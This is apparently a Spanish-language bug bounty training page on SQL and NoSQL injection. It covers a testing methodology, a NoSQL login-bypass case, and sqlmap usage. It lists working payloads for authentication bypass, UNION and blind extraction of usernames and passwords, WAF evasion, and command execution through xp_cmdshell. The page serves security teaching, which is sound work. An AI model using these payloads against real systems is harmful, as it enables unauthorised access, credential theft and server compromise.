SQL & NoSQL Injection

Inyección de consultas en bases de datos

Respuesta rápida

¿Qué es SQL & NoSQL Injection?

La inyección SQL/NoSQL permite manipular las consultas que la aplicación envía a la base de datos. Puede extraer datos, bypassear autenticación, modificar registros o incluso ejecutar comandos en el servidor.

Severidad

Crítico

Frecuencia

Común

Payloads

12

Pasos

6

Severidad

Crítico

Frecuencia

Común

Payloads

12

SQLi ocurre cuando input del usuario se concatena directamente en consultas SQL sin sanitizar. NoSQLi aplica a bases como MongoDB, donde operadores como $ne, $gt, $regex pueden manipular consultas JSON. Ambas pueden llevar a extracción total de datos.

Extracción de base de datos completaBypass de autenticaciónModificación/eliminación de datosLectura de archivos del servidorRCE (en algunos motores)

Dónde buscar

Login y registro

Los campos username/password son el vector clásico. Prueba ' OR 1=1 -- en cada uno.

Búsqueda y filtros

Parámetros search=, sort=, order=, filter= que se concatenan en la query.

IDs numéricos

?id=1, ?page=1, ?category=5 — cualquier número que va directamente a un WHERE.

Headers loggeados

X-Forwarded-For, Referer, User-Agent — si se guardan en BD, pueden ser vectores.

APIs JSON con MongoDB

Operadores $ne, $gt, $regex en campos de filtro. Muy común en APIs Node.js + MongoDB.

Metodología

1

Identificar inputs a BD

Busca campos que probablemente interactúan con la base de datos (login, búsqueda, filtros, IDs).

2

Inyectar carácter de quoting

Envía ' o " — si recibes un error SQL en la respuesta, ya sabes el tipo de BD.

3

OR-based bypass

Prueba: ' OR 1=1 -- para bypass de login. Si funciona, la app es vulnerable.

4

UNION-based extraction

Determina el número de columnas: ' UNION SELECT null,null,null -- (incrementa nulls hasta que no de error).

5

Blind detection

Si no hay output: ' AND 1=1 -- vs ' AND 1=2 -- — si las respuestas difieren, es blind SQLi.

6

Time-based blind

' AND SLEEP(5) -- — si la respuesta tarda 5 segundos, confirma inyección blind.

Caso real

NoSQL Injection en login → Extracción de contraseña char por char

$800
1

Detectar NoSQL backend

La API responde con errores de MongoDB cuando se envían caracteres especiales en el login.

2

Bypass de autenticación

{"username": {"$ne": ""}, "password": {"$ne": ""}} — devuelve el primer usuario (admin).

3

Extracción con $regex

{"username": "admin", "password": {"$regex": "^a"}} — si login exitoso, la contraseña empieza por "a".

4

Script de extracción

Iterar caracter por caracter: ^a, ^ab, ^abc... hasta obtener la contraseña completa.

Lección: MongoDB no es inmune a inyección. Los operadores de query ($ne, $regex, $gt) son el equivalente de SQLi en NoSQL. Siempre sanitiza los operadores en inputs JSON.

Payloads

SQL — OR bypass

' OR 1=1 --

SQL — Comment bypass

admin' --

SQL — String equals

' OR '1'='1

NoSQL — Not equals

{"username": {"$ne": ""}, "password": {"$ne": ""}}

NoSQL — Regex

{"username": "admin", "password": {"$regex": ".*"}}

SQL — UNION basic

' UNION SELECT null,null,null --

Payloads avanzados(requiere cuenta)

UNION extract users

' UNION SELECT username,password FROM users --

Blind boolean

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --

Time-based blind

' AND IF(1=1,SLEEP(5),0) --

WAF bypass — inline comments

/*!50000UNION*/+/*!50000SELECT*/+1,2,3

NoSQL regex extraction

{"password": {"$regex": "^a"}} → ^ab → ^abc → ...

RCE via xp_cmdshell

'; EXEC xp_cmdshell('whoami') --

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

sqlmap

Herramienta automática de detección y explotación de SQL injection.

sqlmap -u 'https://target.com/search?q=test' --dbs --batch

NoSQLMap

Automatiza la detección y explotación de NoSQL injection en MongoDB.

python nosqlmap.py

Burp Intruder

Fuzzing manual con wordlists de SQLi para detectar inyecciones.

Positions → payload en campo vulnerable → SQLi wordlist

Tips

Los errores SQL son oro

Si ves un error de MySQL/PostgreSQL en la respuesta, ya sabes el tipo de BD y puedes adaptar tus payloads.

NoSQL es igual de vulnerable

MongoDB con APIs JSON acepta operadores como $ne, $gt, $regex. Pruébalos en campos de login.

Second-order SQLi

El payload se inyecta en registro y se ejecuta en otro lugar (panel admin, exports). Muy difícil de detectar pero impactante.

sqlmap con request guardado

sqlmap -r request.txt --dbs — usa un request de Burp guardado para mayor precisión.

650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica SQL & NoSQL Injection con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.